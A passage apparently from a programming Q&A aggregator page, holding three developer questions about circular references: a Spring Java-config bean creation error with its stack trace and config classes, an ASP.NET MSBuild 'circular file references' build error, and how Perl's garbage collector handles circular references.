org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeAwareMethods(AbstractAutowireCapableBeanFactory.java:1502) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1470) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:521) ... 20 more Caused by: org.springframework.beans.factory.BeanCreationException: Could not autowire field: com.package.identityaccess.identity.UserRepository com.package.identityaccess.IdentityAccessAppConfig.userRepository; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'userRepository': Cannot create inner bean '(inner bean)' of type [org.springframework.orm.jpa.SharedEntityManagerCreator] while setting bean property 'entityManager'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name '(inner bean)#1': Cannot resolve reference to bean 'identityAccessEntityManagerFactory' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCurrentlyInCreationException: Error creating bean with name 'identityAccessEntityManagerFactory': Requested bean is currently in creation: Is there an unresolvable circular reference? at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor$AutowiredFieldElement.inject(AutowiredAnnotationBeanPostProcessor.java:514) at org.springframework.beans.factory.annotation.InjectionMetadata.inject(InjectionMetadata.java:87) at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor.postProcessPropertyValues(AutowiredAnnotationBeanPostProcessor.java:285) ... 45 more Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'userRepository': Cannot create inner bean '(inner bean)' of type [org.springframework.orm.jpa.SharedEntityManagerCreator] while setting bean property 'entityManager'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name '(inner bean)#1': Cannot resolve reference to bean 'identityAccessEntityManagerFactory' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCurrentlyInCreationException: Error creating bean with name 'identityAccessEntityManagerFactory': Requested bean is currently in creation: Is there an unresolvable circular reference? at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveInnerBean(BeanDefinitionValueResolver.java:282) at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:126) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyPropertyValues(AbstractAutowireCapableBeanFactory.java:1387) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1128) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:519) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:458) at org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractBeanFactory.java:295) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:223) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:292) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:194) at org.springframework.beans.factory.support.DefaultListableBeanFactory.findAutowireCandidates(DefaultListableBeanFactory.java:912) at org.springframework.beans.factory.support.DefaultListableBeanFactory.doResolveDependency(DefaultListableBeanFactory.java:855) at org.springframework.beans.factory.support.DefaultListableBeanFactory.resolveDependency(DefaultListableBeanFactory.java:770) at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor$AutowiredFieldElement.inject(AutowiredAnnotationBeanPostProcessor.java:486) ... 47 more Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name '(inner bean)#1': Cannot resolve reference to bean 'identityAccessEntityManagerFactory' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCurrentlyInCreationException: Error creating bean with name 'identityAccessEntityManagerFactory': Requested bean is currently in creation: Is there an unresolvable circular reference? at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:329) at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:107) at org.springframework.beans.factory.support.ConstructorResolver.resolveConstructorArguments(ConstructorResolver.java:615) at org.springframework.beans.factory.support.ConstructorResolver.instantiateUsingFactoryMethod(ConstructorResolver.java:441) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateUsingFactoryMethod(AbstractAutowireCapableBeanFactory.java:1025) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance(AbstractAutowireCapableBeanFactory.java:921) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:487) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:458) at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveInnerBean(BeanDefinitionValueResolver.java:271) ... 60 more Caused by: org.springframework.beans.factory.BeanCurrentlyInCreationException: Error creating bean with name 'identityAccessEntityManagerFactory': Requested bean is currently in creation: Is there an unresolvable circular reference? at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.beforeSingletonCreation(DefaultSingletonBeanRegistry.java:327) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:217) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:292) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:194) at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:323) I am new to configuring spring through java and have been spinning circles for days. I have my application which includes 2 separate modules. The identity-access module will handle user and access information and will have a datasource to an older database. The other module module2 will eventually have its own database. Here are the config files: application: @Configuration @EnableWebMvc @ComponentScan(basePackages = "com.package.myapp.web") @ImportResource({"classpath:com/package/appbase/appbase-context.xml"}) @Import(com.package.identityaccess.IdentityAccessAppConfig.class) public class IMSAppConfig extends WebMvcConfigurerAdapter { @Override public void addResourceHandlers(ResourceHandlerRegistry registry) { registry.addResourceHandler("/resources/**").addResourceLocations("ims/resources/"); } } identity-access: @Configuration @ComponentScan(basePackages = "com.package.identityaccess") @EnableJpaRepositories(entityManagerFactoryRef = "identityAccessEntityManagerFactory", value = "com.package.identityaccess") @EnableTransactionManagement public class IdentityAccessAppConfig { @Autowired UserRepository userRepository; @Bean public DataSource identityAccessDataSource() throws IOException, SQLException { return new SelfConfiguringBasicDataSource(System.getProperty("db_properties_path") + "/dev.oracle.properties", ""); } @Bean public Map<String, Object> identityAccessJpaProperties() { Map<String, Object> props = new HashMap<>(); props.put("eclipselink.weaving", "false"); props.put("eclipselink.target-database", OraclePlatform.class.getName()); return props; } @Bean public JpaVendorAdapter identityAccessJpaVendorAdapter() { EclipseLinkJpaVendorAdapter eclipseLinkJpaVendorAdapter = new EclipseLinkJpaVendorAdapter(); eclipseLinkJpaVendorAdapter.setDatabasePlatform(OraclePlatform.class.getName()); eclipseLinkJpaVendorAdapter.setGenerateDdl(false); eclipseLinkJpaVendorAdapter.setShowSql(true); return eclipseLinkJpaVendorAdapter; } @Bean public PlatformTransactionManager identityAccessTransactionManager() throws IOException, SQLException { JpaTransactionManager txManager = new JpaTransactionManager(); txManager.setEntityManagerFactory(identityAccessEntityManagerFactory().getObject()); return txManager; } @Bean public LocalContainerEntityManagerFactoryBean identityAccessEntityManagerFactory() throws IOException, SQLException { LocalContainerEntityManagerFactoryBean lef = new LocalContainerEntityManagerFactoryBean(); lef.setDataSource(identityAccessDataSource()); lef.setJpaPropertyMap(identityAccessJpaProperties()); lef.setJpaVendorAdapter(identityAccessJpaVendorAdapter()); lef.setPackagesToScan("com.package.identityaccess"); return lef; } @Bean public AuthenticationService authenticationService() { return new AuthenticationServiceImpl(userRepository); } } module2: @Configuration @ComponentScan(basePackages = "com.package.myapp.core") @EnableJpaRepositories("com.package.myapp.core.domain") @EnableTransactionManagement public class ModuleTwoAppConfig { @Bean public DataSource dataSource() { EmbeddedDatabaseBuilder embeddedDatabaseBuilder = new EmbeddedDatabaseBuilder(); embeddedDatabaseBuilder.setType(EmbeddedDatabaseType.HSQL); embeddedDatabaseBuilder.addScript("setup.sql"); return embeddedDatabaseBuilder.build(); } @Bean public Map<String, Object> jpaProperties() { Map<String, Object> props = new HashMap<>(); props.put("eclipselink.weaving", "false"); props.put("eclipselink.ddl-generation", "create-tables"); props.put("eclipselink.target-database", HSQLPlatform.class.getName()); return props; } @Bean public JpaVendorAdapter jpaVendorAdapter() { EclipseLinkJpaVendorAdapter eclipseLinkJpaVendorAdapter = new EclipseLinkJpaVendorAdapter(); eclipseLinkJpaVendorAdapter.setDatabasePlatform(HSQLPlatform.class.getName()); eclipseLinkJpaVendorAdapter.setGenerateDdl(true); eclipseLinkJpaVendorAdapter.setShowSql(true); return eclipseLinkJpaVendorAdapter; } @Bean public PlatformTransactionManager transactionManager() { JpaTransactionManager txManager = new JpaTransactionManager(); txManager.setEntityManagerFactory(entityManagerFactory().getObject()); return txManager; } @Bean public LocalContainerEntityManagerFactoryBean entityManagerFactory() { LocalContainerEntityManagerFactoryBean lef = new LocalContainerEntityManagerFactoryBean(); lef.setDataSource(dataSource()); lef.setJpaPropertyMap(jpaProperties()); lef.setJpaVendorAdapter(jpaVendorAdapter()); lef.setPackagesToScan("com.package.myapp.core.domain"); return lef; } } UserRepository (uses spring-data): public interface UserRepository extends JpaRepository<User, Long> { @Query("select u from User u where u.user_id = ?1") User findByUserId(String userId); } Can you see any problems with what I've done?

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  • Circular file references not allowed

    - by Program.X
    Hi, I am having a problem in building my solution in VS2008. Normally, it compiles fine in the environment. Sometimes, it fails with: /xxx_WEB/secure/CMSManagedTargetPage.aspx(1): error ASPPARSE: Circular file references are not allowed. I rebuild and it works fine. Now, however, I am in the middle of setting up a CruiseControl.NET system and am testing my checked out code with MSBuild before I integrate the build into CC. Now, everytime I MSBuild, I get: "Q:\cc\xxx\checked out from svn\xxx.sln" (default target) (1) -> (xxx_WEB target) -> /xxx_WEB/secure/CMSManagedTargetPage.aspx(1): error ASPPARSE: Circular file references are not allowed. Problem is, I can't see where this reference is. I have searched for the reference across the entire solution and canf ind no references to the page itself (CMSManagedTargetPage) anywhere other than in the page or its codebehind, or within a string, eg: C:\dev2008\xxx\IWW.xxx.ASPNET\AspxHttpHandler.cs(82): inputFile = context.Server.MapPath("~/secure/CMSManagedTargetPage.aspx"); C:\dev2008\xxx\IWW.xxx.ASPNET\AspxHttpHandler.cs(83): virtualPath = "~/secure/CMSManagedTargetPage.aspx"; My assembly references are also fine (as far as I know). My Web Application is at the "top" of the dependencies, and nothing references it and therefore the faulting page so cannot cause a circular reference. Of course, the page itself may reference something such as a UserControl within the same assembly/web site, but as mentioned earlier, a search on CMSManagedTargetPage yielded no results so this is not happening. Changing the batch attribute in web.config had no effect on MSBuild. I find it very odd that it "sometimes" fails in VS and always fails in MSBuild. Am I missing some subtlety?

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  • Garbage collection in Perl

    - by srikfreak
    Unlike Java, Perl uses reference count for garbage collection. I have tried searching some previous questions which speak about C++ RAII and smart pointers and Java GC but have not understood how Perl deals with the circular referencing problem. Can anyone explain how Perl's garbage collector deals with circular references? Is there any way to reclaim circular referenced memory which are no longer used by the program or does Perl just ignores this problem altogether?

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